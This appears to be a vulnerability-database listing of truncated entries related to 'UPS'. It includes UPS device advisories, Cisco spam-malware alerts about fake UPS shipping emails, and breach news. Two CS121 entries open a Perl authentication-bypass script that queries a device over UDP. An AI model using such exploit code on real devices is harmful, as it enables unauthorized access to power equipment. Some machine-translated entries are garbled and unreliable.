GE Industrial Solutions UPS SNMP Adapter 4.8 - Multiple Vulnerabilities

GE Industrial Solutions UPS SNMP Adapter 4.8 - Multiple Vulnerabilities Exploit Title: GE Industrial Solutions - UPS SNMP Adapter Command Injection and Clear-text Storage of Sensitive Information Vulnerabilities Discovered by: Karn Ganeshen Vendor Homepage: http://www.geindustrial.com/ Versions...

Threat Outbreak Alert RuleID20578: Email Messages Distributing Malicious Software on January 20, 2016

Medium Alert ID: 43110 First Published: 2016 January 20 18:47 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID20578 may contain the following files: Name |...

Emerson UL33 UPS 弱口令

No description provided by source...

Threat Outbreak Alert RuleID20282: Email Messages Distributing Malicious Software on December 24, 2015

Medium Alert ID: 42867 First Published: 2016 January 4 14:20 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID20282 may contain the following files: Name |...

Threat Outbreak Alert RuleID19671: Email Messages Distributing Malicious Software on November 25, 2015

Medium Alert ID: 42290 First Published: 2015 November 25 20:57 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID19671 may contain the following files: Name |...

Threat Outbreak Alert RuleID19570: Email Messages Distributing Malicious Software on November 21, 2015

Medium Alert ID: 42224 First Published: 2015 November 23 14:29 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID19570 may contain the following files: Name |...

Threat Outbreak Alert RuleID19571: Email Messages Distributing Malicious Software on November 21, 2015

Medium Alert ID: 42223 First Published: 2015 November 23 14:29 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID19571 and RuleID19571KVR may contain the...

Threat Outbreak Alert RuleID19001: Email Messages Distributing Malicious Software on October 27, 2015

Medium Alert ID: 41760 First Published: 2015 October 28 13:09 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID19001 may contain the following files: Name |...

CVE-2 0 1 5-3 1 1 3 analysis-vulnerability warning-the black bar safety net

Fireeye in its 6-month 2 3 day post“Operation ceeinject. Gen! g Wolf”are discussed in a cyber-espionage group, known as APT3, in Adobe Flash using a 0day vulnerability. Unit42 also use the UPS tracking APT3 group, it was originated in China the invasion of the toolset, with the earlier of 0day...

The Kindle bookstore now vulnerabilities: hackers can control the user accounts-vulnerability warning-the black bar safety net

Security researchers recently found that the Amazon website appears a loophole, hack, or be able to take the allowed to login to Amazon user account. German researcher Benjamin Daniel Moos Le Benjamin Daniel Mussler in a blog post disclosing the vulnerability. He said, for hidden in the Kindle...

UPS Admits 51 Stores Hit With Malware For Five Months

The list of corporations that have been victimized by credit card stealing malware in 2014 grew a little longer this week as UPS announced that 51 of its stores suffered a “broad-based malware intrusion” earlier this spring. The company disclosed the breach – which affected franchised locations o...

APC PowerChute Plus 4.2.2 - Denial of Service Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/83/info APC PowerChute PLUS is a software package that will safely shutdown computer systems locally or accross a network when UPS power starts to fail. When operating PowerChute PLUS normally listens to TCP ports 6547 an...

APC UPS 3.7.2 (apcupsd) Local Denial of Service Exploit

No description provided by source. / Local Denial of Service for any linux box running APCUPSD v3.7.2 APCUPSD has his pid file world writeable, therefore it is possible to let it kill another pid and create a denial of service against any running daemon. when the apcupsd is stopped, for example B...

Microsoft Windows 95/98 - NetBIOS NULL Name Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/1163/info Unpredictable results, including system crashes, lock-ups, reboots, and loss of network connectivity, can occur in Windows 95/98 if a NetBIOS session packet is received with the source host name set to NULL. /...

Debian Linux 2.1 apcd Symlink Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/958/info A vulnerability exists in the apcd package, as shipped in Debian GNU/Linux 2.1. By sending the apcd process a SIGUSR1, a file will be created in /tmp called upsstat. This file contains information about the statu...

Threat Outbreak Alert: Fake Shipping Charges Notification Email Messages on May 20, 2014

Medium Alert ID: 34305 First Published: 2014 May 20 16:05 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages that claim to contain a shipping charges notification from UPS for the recipient. The text in the email message attempts to convince the...

UPS Web/SNMP-Manager CS121 Login Bypass

!/usr/bin/perl -w use IO::Socket; use constant MAXBYTES = scalar 1024; $socket = IO::Socket::INET-new PeerPort = 4000, PeerAddr = $ARGV0, Type = SOCKDGRAM, Proto = 'udp'; $socket-send""; $socket-recv$inline, MAXBYTES; print "UPS: $inline \n"; $socket-send"show syspar"; $socket-recv$inline,...

UPS Web/SNMP-Manager CS121 - Authentication Bypass

source: https://www.securityfocus.com/bid/67438/info UPS Web/SNMP-Manager CS121 is prone to an authentication-bypass vulnerability. Attackers can exploit this issue to bypass authentication mechanism and gain access to the HTTPs, SNMP or Telnet port service. !/usr/bin/perl -w use IO::Socket; use...

Threat Outbreak Alert: Fake Shipment Delivery Failure Notification Email Messages on May 14, 2014

Medium Alert ID: 34229 First Published: 2014 May 14 15:46 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages that claim to contain a shipment delivery notification for the recipient. The text in the email message attempts to convince the recipie...

CS121 UPS Default Admin Credentials (HTTP)

The remote CS121 UPS web interface is using known default credentials. SPDX-FileCopyrightText: 2014 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...